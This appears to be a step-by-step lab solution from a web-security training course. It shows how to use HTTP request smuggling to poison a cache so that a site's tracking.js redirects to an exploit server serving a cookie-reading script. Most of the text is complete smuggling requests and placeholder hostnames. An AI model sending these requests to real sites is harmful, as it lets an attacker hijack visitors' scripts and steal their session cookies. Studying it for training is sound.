-
Open a blog post, click "Next post", and try smuggling the resulting request with a different Host header:
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
-
Observe that you can use this request to make the next request to the website get redirected to
/post
on a host of your choice. -
Go to your exploit server, and create a
text/javascript
file at/post
with the contents:alert(document.cookie)
-
Poison the server cache by first relaunching the previous attack using your exploit server's hostname as follows:
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 193 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
-
Then fetch
/resources/js/tracking.js
by sending the following request:GET /resources/js/tracking.js HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Connection: close
If the attack has succeeded, the response to the
tracking.js
request should be a redirect to your exploit server. -
Confirm that the cache has been poisoned by repeating the request to
tracking.js
several times and confirming that you receive the redirect every time.
Note
You may need to repeat the POST/GET process several times before the attack succeeds.